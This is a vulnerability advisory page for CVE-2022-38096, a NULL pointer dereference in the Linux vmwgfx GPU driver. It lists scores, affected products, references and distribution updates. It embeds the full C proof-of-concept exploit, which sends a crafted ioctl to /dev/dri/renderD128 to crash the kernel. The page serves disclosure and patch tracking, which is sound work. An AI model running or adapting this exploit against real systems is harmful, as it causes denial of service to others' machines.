There is a NULL pointer vulnerability in vmwgfx driver
Summary
| CVE | CVE-2022-38096 |
|---|---|
| State | PUBLISHED |
| Assigner | Anolis |
| Source Priority | CVE Program / NVD first with legacy fallback |
| Published | 2022-09-09 15:15:14 UTC |
| Updated | 2026-05-12 10:16:38 UTC |
| Description | A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS). |
Risk And Classification
Primary CVSS: v3.1 5.5 MEDIUM from [email protected]
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS: 0.000400000 probability, percentile 0.119490000 (date 2026-05-12)
Problem Types: CWE-476 | CWE-476 CWE-476 NULL Pointer Dereference
| Version | Source | Type | Score | Severity | Vector |
|---|---|---|---|---|---|
| 3.1 | [email protected] | Primary | 5.5 | MEDIUM | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | [email protected] | Secondary | 6.3 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H |
| 3.1 | CNA | DECLARED | 6.3 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H |
CVSS v3.1 Breakdown
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
NVD Known Affected Configurations (CPE 2.3)
| Type | Vendor | Product | Version | Update | Edition | Language |
|---|---|---|---|---|---|---|
| Operating System | Linux | Linux Kernel | All | All | All | All |
Vendor Declared Affected Products
| Source | Vendor | Product | Version | Platforms |
|---|---|---|---|---|
| CNA | Linux | Kernel | affected v4.20-rc1 5.13.0-52* custom | Not specified |
| ADP | Linux | Linux Kernel | affected v4.20-rc1 5.14 custom | Not specified |
| ADP | Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux Subsystem | affected * custom | Not specified |
References
| Reference | Source | Link | Tags |
|---|---|---|---|
| lists.debian.org/debian-lts-announce/2024/06/msg00017.html | af854a3a-2127-422b-91ae-364da2661108 | lists.debian.org | |
| cert-portal.siemens.com/productcert/html/ssa-265688.html | 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e | cert-portal.siemens.com | |
| Bug Access Denied | af854a3a-2127-422b-91ae-364da2661108 | bugzilla.openanolis.cn | Issue Tracking, Permissions Required |
| CVE Program record | CVE.ORG | www.cve.org | canonical |
| NVD vulnerability detail | NVD | nvd.nist.gov | canonical, analysis |
Vendor Comments And Credit
Discovery Credit
CNA: Ziming Zhang([email protected]) from Ant Group Light-Year Security Lab (en)
Additional Advisory Data
Exploits
CNA: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int sid){ int cmd[0x1000]={0}; cmd[0]=1165; cmd[1]=0x50; cmd[2]=0x0; cmd[3]=0x0; cmd[4]=-1; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=2; arg.context_handle=sid; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_context(){ int arg[0x10]={0}; arg[0]=0; arg[1]=0x100; if (ioctl(fd, 0x80086447, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[0]; } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int cid=alloc_context(); printf("%d",cid); poc(cid); }
Legacy QID Mappings
- 161479 Oracle Enterprise Linux Security Update for kernel (ELSA-2024-1607)
- 242941 Red Hat Update for kernel (RHSA-2024:0930)
- 242985 Red Hat Update for kernel (RHSA-2024:1018)
- 242986 Red Hat Update for kernel-rt (RHSA-2024:1019)
- 243050 Red Hat Update for kernel (RHSA-2024:1250)
- 243055 Red Hat Update for kernel (RHSA-2024:1268)
- 243058 Red Hat Update for kernel-rt (RHSA-2024:1269)
- 243062 Red Hat Update for kernel-rt (RHSA-2024:1306)
- 243076 Red Hat Update for kernel (RHSA-2024:1367)
- 243087 Red Hat Update for kernel (RHSA-2024:1404)
- 243096 Red Hat Update for kernel-rt (RHSA-2024:1382)
- 243160 Red Hat Update for kernel security (RHSA-2024:1607)
- 243167 Red Hat Update for kernel-rt (RHSA-2024:1614)
- 753801 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0762-1)
- 753806 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0770-1)
- 753807 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0768-1)
- 753808 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0778-1)
- 753810 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0780-1)
- 753832 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0852-1)
- 755842 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:0774-1)
- 755851 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:2646-1)
- 903890 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10901)
- 903909 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10951)
- 941650 AlmaLinux Security Update for kernel (ALSA-2024:1607)
- 961147 Rocky Linux Security Update for kernel (RLSA-2024:1607)
- 961150 Rocky Linux Security Update for kernel-rt (RLSA-2024:1614)